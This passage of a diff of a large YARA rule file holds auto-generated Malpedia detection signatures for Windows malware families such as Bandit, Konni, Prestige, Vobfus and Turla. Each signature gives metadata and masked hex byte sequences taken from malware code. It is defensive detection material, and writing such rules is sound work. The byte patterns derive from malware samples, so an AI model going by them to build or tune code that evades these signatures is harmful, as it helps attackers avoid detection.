ff15???????? 32c0 e9???????? 8d8550ffffff } + $sequence_13 = { 57 52 53 50 ff15???????? 8b8c242c040000 } + $sequence_14 = { e8???????? 8bdc 57 68???????? 8d4e01 e8???????? } + $sequence_15 = { 0f840c010000 8b0d???????? 8b7c2458 8d44240c } condition: - 7 of them and filesize < 303104 + 7 of them and filesize < 462848 } -rule MALPEDIA_Win_Newsreels_Auto : FILE +rule MALPEDIA_Win_Bandit_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e9b53256-b535-5dc7-8672-9faed5bf005d" + id = "baac7fff-4fa3-5458-b9c3-9ba2ff3fe15a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newsreels_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandit" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bandit_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "a1151606e01c8e298edbe7dd1574962a9c78cdce343ec52b131b424fbeb15649" + logic_hash = "57d98c9e72ec66c58eb155bb6176131c752f20871acb7c0dc2253a7bf7e472fd" score = 75 quality = 75 tags = "FILE" @@ -133122,32 +132905,32 @@ rule MALPEDIA_Win_Newsreels_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c1e902 f3a5 a1???????? 8bcd 83e103 } - $sequence_1 = { 83c41c 85f6 750b 5f } - $sequence_2 = { ff15???????? 8b8c241c030000 8dbc240c010000 51 83c9ff 33c0 } - $sequence_3 = { 56 ff15???????? 8be8 85ed 750e 56 } - $sequence_4 = { 83c410 c6043000 5e 5d 5b 81c4a0010000 } - $sequence_5 = { 83c408 85db 750a 5e 5d } - $sequence_6 = { 83c703 c1f902 83e13f 897c2424 8a81305d4000 88441efc 8a4c2ffd } - $sequence_7 = { 80e301 881c30 40 83f808 } - $sequence_8 = { 7415 53 e8???????? 83c404 33c0 } - $sequence_9 = { f7d1 2bf9 6a4d 8bf7 8bd9 8bfa 83c9ff } + $sequence_0 = { eb24 31c0 488d5c241f b931000000 0f1f00 e8???????? 488bac2498000000 } + $sequence_1 = { eb1e 440fb64c341a 4183c1c3 4401ca 88543c1a 448844341a 4883c002 } + $sequence_2 = { 8854245f 0fb6542424 0fb6742421 29f2 88542460 31c0 488d5c2446 } + $sequence_3 = { eb1c 4889c7 488b8c2400110000 e8???????? 488d3d6bac7c00 e8???????? e8???????? } + $sequence_4 = { e8???????? 90 31c9 e8???????? 4885ff 750a 48895c2440 } + $sequence_5 = { eb1d 488d7808 488b9424501b0000 e8???????? 488d3dc0945f00 e8???????? 90 } + $sequence_6 = { e8???????? 488b8424c8000000 488b542430 488b7058 4885f6 7429 4889742448 } + $sequence_7 = { eb15 488d05172b4e00 e8???????? 488b4c2440 48ff4158 c60002 4889c3 } + $sequence_8 = { eb1a 440fb64c342a 4183c14d 4401ca 88543c2a 448844342a 4883c002 } + $sequence_9 = { e8???????? 833d????????00 750e 488b8c24e8060000 48894818 eb15 488d7818 } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 29914112 } -rule MALPEDIA_Win_Ironwind_Auto : FILE +rule MALPEDIA_Win_Unidentified_013_Korean_Malware_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8b99e462-a945-5218-9501-2580c05d4989" + id = "d60dc930-c78c-5d42-af04-60f16f7605c1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironwind" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ironwind_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_013_korean_malware" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_013_korean_malware_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "29c70d85a1620a72f758c4af21c3937f3b52ad156ab8f42df1f1abd2148e1f61" + logic_hash = "9a5847dac5275d9c2120b30f47a61dd30ccc7df5d5dee4cad62b8a046a1148d9" score = 75 quality = 75 tags = "FILE" @@ -133161,32 +132944,32 @@ rule MALPEDIA_Win_Ironwind_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488bd3 488bc8 ff15???????? 83f801 0f850b010000 4c3bfb 751e } - $sequence_1 = { 0f848b000000 488b4dc8 ff15???????? 488b55e8 488d0d988e0400 e8???????? 488945c8 } - $sequence_2 = { e9???????? f60603 0f95c0 88878a050000 488b4f18 } - $sequence_3 = { 7425 418bc8 488d15f9db0200 90 410fb60409 48ffc1 3a440aff } - $sequence_4 = { 83fa01 752d 488d0d109c0600 e8???????? 488bc8 ff15???????? } - $sequence_5 = { 0f84aa030000 b001 88476c 48c70700000000 41807c246c00 743d 488bce } - $sequence_6 = { 4c896b18 33ff 0fb6ac2490000000 418b87b4060000 488b4b10 448bc0 483bc8 } - $sequence_7 = { 4c8d4e38 8bca 4533c0 e8???????? 85c0 0f89c9000000 48c74638ffffffff } - $sequence_8 = { 4c896c2438 4c897c2430 e8???????? 4c8be8 4885c0 0f84e0020000 488bd0 } - $sequence_9 = { 807f5100 740e 80bc248000000000 0f846a020000 488b4f28 4885c9 743d } + $sequence_0 = { 6888130000 4f ffd6 e8???????? 85c0 74eb bfb4000000 } + $sequence_1 = { eb20 8d4604 c60000 eb18 8bc2 c604083f 897e14 } + $sequence_2 = { e8???????? 8d842454030000 50 83ec1c 8bcc 899c2480060000 } + $sequence_3 = { 837c242401 0f85be000000 0fb6542e04 3bd1 7412 } + $sequence_4 = { e8???????? 83c404 837c243410 7221 8b442420 } + $sequence_5 = { 8b4c2410 51 57 50 8944243c ff15???????? 8bf0 } + $sequence_6 = { e8???????? 81c41c010000 c3 55 6a00 6a00 } + $sequence_7 = { 50 8d842458060000 64a300000000 68???????? 68???????? 68???????? } + $sequence_8 = { 8b842420010000 53 56 57 } + $sequence_9 = { 395c2440 7304 8d44242c 8a1c38 0fb6cb } condition: - 7 of them and filesize < 995328 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Unidentified_020_Cia_Vault7_Auto : FILE +rule MALPEDIA_Win_Orcarat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "50fc15f3-1120-5098-a2b0-ef6606f64bfb" + id = "f18bd4e3-b820-5b26-a4b2-4899e6f773ec" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_020_cia_vault7" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_020_cia_vault7_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orcarat_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "17fe086c6d5f4507ec1675a18ca14445f60cf526d184ed9a8460c468298fa68d" + logic_hash = "267a82fd5372f110668cffe923381f6f74a52ece9ba8a9c79d169c7d32552337" score = 75 quality = 75 tags = "FILE" @@ -133200,32 +132983,32 @@ rule MALPEDIA_Win_Unidentified_020_Cia_Vault7_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 8d45f0 64a300000000 8965e8 8b7d08 c745fc00000000 8b07 } - $sequence_1 = { a1???????? 33c4 89842428080000 8b4508 53 } - $sequence_2 = { 52 8d85c6f7ffff 50 e8???????? 8bbdb8f7ffff } - $sequence_3 = { 33c0 8d8decfdffff 51 8d95c8fdffff 52 8985ccfdffff } - $sequence_4 = { 50 ff15???????? 85c0 7516 56 8945f8 } - $sequence_5 = { 68???????? 57 ff15???????? 8bd8 3bdf 742e 53 } - $sequence_6 = { 8907 897704 8b8dbcf7ffff 890f 50 } - $sequence_7 = { 837e1400 750f 6a7f ff15???????? 33c0 5e 8be5 } - $sequence_8 = { 68???????? 33f6 68???????? 56 8975fc c745f801000000 ff15???????? } - $sequence_9 = { 6aff 51 8b4d0c 6804010000 51 e8???????? 83c410 } + $sequence_0 = { 8a0d???????? 8a15???????? 346f 80f170 8844245e a1???????? 884c245c } + $sequence_1 = { 85c0 755a 57 8dbbb0010000 83c9ff 8d9534020000 } + $sequence_2 = { 51 68???????? 53 56 ffd5 85c0 } + $sequence_3 = { 8bcd 6a00 e8???????? 85c0 7507 5f } + $sequence_4 = { c21000 8d442420 6a00 8d4c2418 50 51 } + $sequence_5 = { 6a01 8bcd c7432801000000 896c241c e8???????? } + $sequence_6 = { 8b942408080000 56 8bf1 57 8bfa 83c9ff 33c0 } + $sequence_7 = { 5e 81c404080000 c20400 8d54240e 8bce 52 } + $sequence_8 = { f3a5 8bc8 83e103 f3a4 8d4c241c 51 e8???????? } + $sequence_9 = { 0f84d1000000 80bc241c0400003f 0f8488000000 8bc3 8d94241c040000 2bc2 8dbc241c040000 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Unidentified_031_Auto : FILE +rule MALPEDIA_Win_Railsetter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a627a0b9-017e-5461-a9b3-c89e0fe42650" + id = "40a35231-bcd6-50b5-8c16-f4224571abb5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_031" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_031_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.railsetter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.railsetter_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "005409f0a75d0a6c7e76852a5fa0d497560f223da31bb6e0d79d2b1a3b3dfeb4" + logic_hash = "1c0f0eee020c15b328d39cbed0a5c62b2c564fd1a70af2c0c1b9fc2367e71a1f" score = 75 quality = 75 tags = "FILE" @@ -133239,32 +133022,32 @@ rule MALPEDIA_Win_Unidentified_031_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 e8???????? 897de8 89bd40ffffff e9???????? 817d8004000400 754f } - $sequence_1 = { 3935???????? 7510 68???????? 68???????? ff15???????? 8b35???????? 8d9544ffffff } - $sequence_2 = { 83bd78ffffff03 0f82e5feffff 33c0 8b4dfc 5f 5e 5b } - $sequence_3 = { 51 52 6a12 ff15???????? 83c44c 8d4da0 ff15???????? } - $sequence_4 = { 898bb8200000 898bbc200000 57 8d83b81e0000 50 ffd6 6810140001 } - $sequence_5 = { 3d05000780 0f858c000000 837d2001 0f85e3000000 8d4de4 e8???????? 85c0 } - $sequence_6 = { e8???????? 8bf8 897dd4 85ff 747f 6a00 53 } - $sequence_7 = { 64a100000000 50 64892500000000 81ec04030000 53 56 57 } - $sequence_8 = { eb03 33f6 46 ff75c0 ff15???????? 59 8bc6 } - $sequence_9 = { 33c0 e9???????? 53 56 ff7508 8d85ecfdffff 50 } + $sequence_0 = { 488d4d20 ff15???????? 90 488d8dd0010000 e9???????? } + $sequence_1 = { 488d0ddc760400 eb07 488d0deb760400 ba11000000 } + $sequence_2 = { 488d8d10010000 ff15???????? 85c0 741a ff15???????? 8bc8 2b8d14010000 } + $sequence_3 = { 428a8c09687e0400 482bd0 8b42fc d3e8 49895008 41894018 0fb60a } + $sequence_4 = { 488d0d36a00500 e8???????? 488bc8 0fb754246e e8???????? 488bc8 e8???????? } + $sequence_5 = { 448d4205 488d0d4dae0400 e8???????? 0f57c0 0f1185c8000000 498bcc 49837c241810 } + $sequence_6 = { 488d05c3ef0200 488903 eb02 33db 48891f } + $sequence_7 = { 488d0d00690400 e8???????? ba19000000 448bca 448d4205 488d0d18640400 } + $sequence_8 = { 483bc1 0f8291010000 4c8d4d0f 48837d2710 4c0f434d0f } + $sequence_9 = { 48894a10 880a 488d153f360500 448d4115 488bcb e8???????? 488bc3 } condition: - 7 of them and filesize < 1998848 + 7 of them and filesize < 866304 } -rule MALPEDIA_Win_Stormwind_Auto : FILE +rule MALPEDIA_Win_Flagpro_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5af12011-3b11-5340-9f55-c2d59a09e295" + id = "df493d50-e377-536e-a031-d239af918cf3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stormwind" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stormwind_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flagpro_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "0edc5101ea908b3c6d0ede012ca9b7d0ba4e1d8697013b724d36791523c87635" + logic_hash = "8734d591635985c73e20c9ca4d9912448a0aab9867cea544ed16d714554a9f18" score = 75 quality = 75 tags = "FILE" @@ -133278,32 +133061,32 @@ rule MALPEDIA_Win_Stormwind_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb87 85db 7483 8b7d08 8d7308 } - $sequence_1 = { 83663800 83630800 e8???????? e8???????? c3 833d????????00 746e } - $sequence_2 = { eb5c 8b45f4 8b0c85d8310510 f644190448 7437 8a06 } - $sequence_3 = { 8908 8d5602 8d4d0c e8???????? 8d4df0 83c404 } - $sequence_4 = { 8b06 83c41c 8bc8 8d7901 } - $sequence_5 = { e9???????? c745dca43e0410 8b4508 8b7510 dd00 dc4df8 } - $sequence_6 = { 8b7510 85f6 0f847f010000 8b5e14 85db 0f8874010000 } - $sequence_7 = { 53 e8???????? 8bf0 83c404 8975e8 6a00 6a00 } - $sequence_8 = { 751b 8b450c 891f 8918 8bc7 8b4df4 } - $sequence_9 = { 8bf8 59 83ffff 7407 8b34bd286c0410 56 e8???????? } + $sequence_0 = { 8d4501 50 e8???????? 8bf8 83c420 } + $sequence_1 = { 8b03 eb02 8bc3 55 8d2c3f } + $sequence_2 = { ffd5 68???????? e8???????? 8b44241c } + $sequence_3 = { c684249400000002 8b442448 8b08 8d542428 52 50 8b4120 } + $sequence_4 = { 8b9180000000 50 ffd2 8b442418 } + $sequence_5 = { 8b4e18 53 57 8bf8 8d5e04 83f908 7204 } + $sequence_6 = { ffd2 47 3b7c243c 897c2450 0f8c03feffff e9???????? 8b44241c } + $sequence_7 = { c744244400000000 a1???????? 8b500c b9???????? ffd2 8d7010 8974241c } + $sequence_8 = { f7e2 8bea c1ed06 45 68e8030000 } + $sequence_9 = { e8???????? 33f6 eb06 8b1d???????? b8???????? 8d5002 } condition: - 7 of them and filesize < 741376 + 7 of them and filesize < 1411072 } -rule MALPEDIA_Win_Unidentified_091_Auto : FILE +rule MALPEDIA_Win_Prestige_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "43cbe43d-9747-5a0c-bb40-dd9c7c940d50" + id = "d7f375cd-3d34-546f-b2e4-9c5bb038ef3e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_091" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_091_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prestige" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.prestige_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "4634e6f2999913eaf2a083116e36bae941dd940a5cf81991fb84c6cc55fc0d2d" + logic_hash = "2346660d21873b1b5b8cefaf9e99067a1424befc1ebf82fdd47e2c270ae4e270" score = 75 quality = 75 tags = "FILE" @@ -133317,34 +133100,34 @@ rule MALPEDIA_Win_Unidentified_091_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 81e1ff00ff00 0bd1 895618 418b481c 8bd1 c1ca08 c1c108 } - $sequence_1 = { c0e904 8885f8000000 888df9000000 0fb64a1d 0fb6c1 c0e904 240f } - $sequence_2 = { e8???????? 85c0 743c 48ffc3 483b5c2430 72c4 488bcf } - $sequence_3 = { 8b442448 418bd1 4133d2 c1ca10 03fa 893c24 448bc7 } - $sequence_4 = { c1cd02 c1e718 418bc0 c1c005 4103c2 4489642418 03d0 } - $sequence_5 = { 85c0 0f8eee000000 488d0d49421600 48894d00 48215508 48215510 ffc0 } - $sequence_6 = { e8???????? 488bd3 488bcf 4c8bf0 8b30 c70000000000 e8???????? } - $sequence_7 = { f30f58d0 0f57c0 0fc6d200 0f51ca 410fc2d304 0fc2c104 0f5ed9 } - $sequence_8 = { 4c894507 48894d0f e9???????? c74424285a0a0000 ba50000000 4c89542420 41b966010000 } - $sequence_9 = { c784248000000001000000 eb32 c7442420f6010000 baa6000000 4c8d0db8a71100 b906000000 448d42fc } + $sequence_0 = { 83e920 e9???????? 83e920 e9???????? 83e904 e9???????? 83e93c } + $sequence_1 = { 0f86e4010000 85c0 7430 6bc809 8945f4 8bc3 2bc6 } + $sequence_2 = { e8???????? 51 68???????? 8d8dc0fcffff c645fc9f e8???????? 51 } + $sequence_3 = { e8???????? 51 68???????? 8d8d28fbffff c645fc8e e8???????? 51 } + $sequence_4 = { 0f9fc1 03ca 8b55ec 2bc2 3bc1 7ce0 6a0d } + $sequence_5 = { 68???????? 8d8d08faffff c645fc82 e8???????? 51 68???????? 8d8d20faffff } + $sequence_6 = { 8d55fc 6a0a ff7310 8d4de4 e8???????? 59 59 } + $sequence_7 = { 59 59 0f45fb eb6f 8845d8 8b01 8b501c } + $sequence_8 = { e8???????? 8bc6 c1e002 50 8b8598f8ffff 0fb70485bc534700 8d0485b84a4700 } + $sequence_9 = { 8bf0 8b4b2c 8b5330 3bce 7426 85d2 740f } condition: - 7 of them and filesize < 5777408 + 7 of them and filesize < 1518592 } -rule MALPEDIA_Win_Konni_Auto : FILE +rule MALPEDIA_Win_Vobfus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f5f4e6b0-9bc7-5563-95be-e81e34e13947" + id = "42158425-a27c-57e2-bcf0-e9d26bb44ebe" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.konni" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.konni_auto.yar#L1-L466" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vobfus_auto.yar#L1-L228" license_url = "N/A" - logic_hash = "848a6314b768526873d5e9f7192d61992e122b75278ca60f0df452953ea07af0" + logic_hash = "c01a7c959701e62f162b2189e2ece4b76a685509f6980577800ff6467b1d208b" score = 75 - quality = 50 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -133356,73 +133139,46 @@ rule MALPEDIA_Win_Konni_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 50 8b45e8 0fb6cc 51 0fb6d0 52 } - $sequence_1 = { 85c0 7527 0fb655eb 0fb645ea } - $sequence_2 = { 03c0 334604 03c0 334608 03c0 33460c 03c0 } - $sequence_3 = { 83c418 8b45e4 50 ff15???????? } - $sequence_4 = { a1???????? 33c5 8945fc 8b0d???????? 8a15???????? 33c0 } - $sequence_5 = { 57 8b7d10 8985f4feffff 33f6 } - $sequence_6 = { 85c0 0f84f1000000 0f88eb000000 83f801 7508 } - $sequence_7 = { 7908 49 81c900ffffff 41 8a940df8feffff } - $sequence_8 = { 83f801 750a c705????????01000000 890d???????? } - $sequence_9 = { 33c9 83f802 7508 890d???????? } - $sequence_10 = { eb1e 83f804 740f c705????????02000000 } - $sequence_11 = { 6a01 ff15???????? 50 a3???????? } - $sequence_12 = { 68b6030000 6a0d 50 ff15???????? } - $sequence_13 = { 7508 890d???????? eb1e 83f804 } - $sequence_14 = { eb02 33c9 e8???????? 8bf8 } - $sequence_15 = { 68???????? ffd6 83c8ff 5f 5e 5b 8b4dfc } - $sequence_16 = { 0fb6591c 88581c 0fb6591d 88581d 0fb6591e } - $sequence_17 = { ffd6 8b4d08 51 ffd6 53 ffd6 } - $sequence_18 = { 68???????? 8d8df0faffff 51 ffd6 8b35???????? 8d95f0faffff } - $sequence_19 = { 8d8df8feffff 51 8d95f0fcffff 52 6a00 6a00 } - $sequence_20 = { 4c89742420 ff15???????? 488bd8 4885c0 744f } - $sequence_21 = { 8db768020000 8916 56 e8???????? 8a8c30dec44600 } - $sequence_22 = { 660f1f440000 498bc8 ba04000000 0f1f840000000000 0fb601 4883c104 48ffca } - $sequence_23 = { 8d8df4fdffff 51 ff15???????? 85c0 755b 57 } - $sequence_24 = { 52 6a00 6a00 ff15???????? 68d0070000 ff15???????? 8b4dfc } - $sequence_25 = { ff15???????? 8b3d???????? be0a000000 68e8030000 ffd7 } - $sequence_26 = { 6a00 8d8df8feffff 51 8d95f0fcffff } - $sequence_27 = { d3ea 33c9 56 e8???????? 8a8c30a6c44600 } - $sequence_28 = { e8???????? 8a8c30dec44600 5e bb01000000 83c604 d3e3 } - $sequence_29 = { 8a8664020000 8b9cae68020000 33d2 56 e8???????? 8a9435dec44600 5e } - $sequence_30 = { e8???????? 8a9435dec44600 5e 84c0 8bfa 7476 83ff03 } - $sequence_31 = { e8???????? 8a8c30a6c44600 5e 8b442414 03ca } - $sequence_32 = { ff15???????? 488bcb ff15???????? 488d8c24e0000000 33d2 } - $sequence_33 = { 57 6804010000 8d95f8feffff 52 } - $sequence_34 = { 488945c0 488d45b8 482bf0 6666666666660f1f840000000000 ba04000000 6666660f1f840000000000 0fb6040e } - $sequence_35 = { 33db 56 e8???????? 8a9c30c2c44600 5e 83f908 } - $sequence_36 = { 41b850000000 4533c9 488bd3 488bc8 c744242803000000 } - $sequence_37 = { 68???????? 8d95f8feffff 52 ffd6 6804010000 8d85f0fcffff 50 } - $sequence_38 = { bbedffffff 03dd 81eb00200200 83bd9404000000 899d94040000 } - $sequence_39 = { 8d3c85e0a30010 8bc3 80c901 83e01f 884d0b 8d34c0 8b07 } - $sequence_40 = { 8d0c9de0a30010 8d9080040000 8901 3bc2 7318 80600400 } - $sequence_41 = { bb???????? 7539 e8???????? 68???????? 53 } - $sequence_42 = { 4963cb 41ffc1 48ffc3 0fb6040c 8843ff 40883c0c } - $sequence_43 = { 80a0a0a1001000 40 41 41 3bc6 72bf } - $sequence_44 = { 4963ca 0fb6040c 4288040c 44881c0c 420fb60c0c 4103cb 81e1ff000080 } - $sequence_45 = { 7468 488d44246c 4c8d8c2480010000 4c8d442430 488d15b1190100 } - $sequence_46 = { 66c705????????0100 837e0811 7509 66c705????????0100 837e0856 7514 66833d????????01 } - $sequence_47 = { 8b348de0a30010 8d1c8de0a30010 8d3cc0 c1e702 03f7 837e0800 } - $sequence_48 = { 4c8bb42480180000 4c8ba42488180000 488bbc2490180000 4889742458 } - $sequence_49 = { 418bf1 8bea 458bda 418bc2 488d0c24 0f1f8000000000 8801 } - $sequence_50 = { 85c0 0f85e0feffff 488bbc2430010000 488b9c2420010000 4c8ba42438010000 } + $sequence_0 = { 8b5508 8b92e8000000 8b826c1a0000 50 } + $sequence_1 = { 8b5508 8b92e8000000 8b827c040000 50 } + $sequence_2 = { 8b5508 8b92e8000000 8b82d81a0000 50 } + $sequence_3 = { 8b5508 8b92e8000000 8b82f00b0000 50 } + $sequence_4 = { 8bec 8b5508 8b92e8000000 8b82a00d0000 50 50 8b10 } + $sequence_5 = { 8b82180b0000 50 50 8b10 ff5204 58 } + $sequence_6 = { 55 8bec 8b5508 8b92e8000000 8b82c4040000 50 } + $sequence_7 = { 8b5508 8b92e8000000 8b82b41a0000 50 } + $sequence_8 = { 78ff 0d50004900 3e3cff 46 } + $sequence_9 = { f2ed ec f2ed ec f3ed ebf2 ed } + $sequence_10 = { 801800 0808 0006 3401 41 06 1005???????? } + $sequence_11 = { f2e8fae6d5f6 d2b5f2bb8ff3 ae 73f3 } + $sequence_12 = { 5c f6ac4ff8b54ffb c058fcca 61 } + $sequence_13 = { 00e0 c9 8f00 e3ce 97 00e6 d39500e4d19b } + $sequence_14 = { d39500e4d19b 00cf c0b200d1c3b600 e6d3 a1???????? 00ec dea600e0d4b3 } + $sequence_15 = { 41 06 1001 ff06 0200 0100 } + $sequence_16 = { 91 00d5 c19400d6c49500d7 c59900dac999 00e0 } + $sequence_17 = { 06 1005???????? 0100 6c 74ff } + $sequence_18 = { 7cc8 dc7acd e291 d2e8 } + $sequence_19 = { 0100 8a00 0010 4c 0007 } + $sequence_20 = { 46 14ff 0470 fe0a } + $sequence_21 = { 6c 74ff 801800 0808 } + $sequence_22 = { ae 73f3 aa 5c f6ac4ff8b54ffb } + $sequence_23 = { 1400 48 0008 78ff 0d50004900 } condition: - 7 of them and filesize < 2361344 + 7 of them and filesize < 409600 } -rule MALPEDIA_Win_Satellite_Turla_Auto : FILE +rule MALPEDIA_Win_Tandfuy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "db4c3339-c415-5711-a90e-cee07a736590" + id = "f7c34ec9-5c47-5400-953b-2fc065900f46" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satellite_turla" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.satellite_turla_auto.yar#L1-L159" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tandfuy_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "1f8986d8ff44bcaea791aed8e9d7780e6a84fb5d73ce994c684beebfa03d07bc" + logic_hash = "8bcf4f8924f2bd51984baf6f9c4aad50acc2f2e7396ee140bd5315db5dd99bae" score = 75 quality = 75 tags = "FILE" @@ -133436,38 +133192,32 @@ rule MALPEDIA_Win_Satellite_Turla_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0108 833e00 7c1f 8b542410 } - $sequence_1 = { 0105???????? 81c3b0020000 2945e0 75ae 837dd400 } - $sequence_2 = { 0105???????? 83c410 29442418 75a9 } - $sequence_3 = { 0108 833e00 7fc7 db46fc } - $sequence_4 = { 0105???????? 83c410 29442420 75aa } - $sequence_5 = { 0108 833a00 7c23 8b442428 } - $sequence_6 = { 51 8d951cffffff 52 eb2b 8b4d20 } - $sequence_7 = { 0108 833e00 7cc7 7e39 } - $sequence_8 = { 66ab aa 8b3d???????? 8d85f0feffff 56 } - $sequence_9 = { ffd7 53 56 ff15???????? 6a02 53 56 } - $sequence_10 = { ff15???????? ff45fc 817dfc88130000 7cb7 } - $sequence_11 = { c645d205 c645d337 c645d418 c645d51d c645d614 c645d722 } - $sequence_12 = { e8???????? ff75fc 8945f8 53 50 e8???????? } - $sequence_13 = { 57 ffd6 a3???????? 6a71 8d45d0 } - $sequence_14 = { c645b816 c645b927 c645ba30 c645bb34 c645bc21 c645bd30 } - $sequence_15 = { 8d45c4 885dcf 50 57 } + $sequence_0 = { f2ae 8b442410 f7d1 49 51 8b4c2418 } + $sequence_1 = { 33c0 b9000a0000 50 50 } + $sequence_2 = { 50 e8???????? b93f000000 33c0 8dbdecfdffff f3ab 66ab } + $sequence_3 = { ff15???????? 8bd8 85db 0f84be000000 8d4c2408 6a00 } + $sequence_4 = { ff15???????? 50 ff15???????? 85c0 0f84ea000000 8d4c2424 } + $sequence_5 = { 33c0 c3 8b442408 50 ff15???????? } + $sequence_6 = { e8???????? 83c40c 85c0 766e } + $sequence_7 = { 33c0 f3a5 a4 b90a000000 } + $sequence_8 = { 51 e8???????? 83c418 8bd0 8995d4faffff 8db5f0fcffff 8bfb } + $sequence_9 = { 6800000080 56 f3ab ff15???????? 8bd8 } condition: - 7 of them and filesize < 1040384 + 7 of them and filesize < 155648 } -rule MALPEDIA_Win_Unidentified_110_Auto : FILE +rule MALPEDIA_Win_Crutch_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cf62c553-12f9-5533-845c-44826d9d56b2" + id = "3e20e20b-31c5-5834-8ab6-1f56ddff6199" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_110" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_110_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crutch" + source_url = 